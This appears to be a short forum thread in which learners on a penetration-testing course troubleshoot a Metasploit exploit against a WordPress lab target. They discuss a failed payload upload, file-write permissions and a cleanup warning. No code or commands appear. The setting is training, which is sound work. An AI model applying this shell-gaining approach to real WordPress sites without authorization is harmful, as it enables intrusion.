Anyone here done the hacking wordpress module? I need a nudge on the last question of the skills assessment.

[acoustic owl]

Where exactly are you stuck?

[lethal atlas]

im trying to obtain a shell using msf. When I run the exploit it logs into wordpress, but wont upload the payload and gives me an error, "Exploit aborted due to failure: unexpected-reply: Failed to upload the payload"

[acoustic owl]

Where would MSF like to upload a file? Does Erika have permissions to create files there?

[faint jungle]

Guys need help i am trying to run this exploit but it says it require manual cleanup .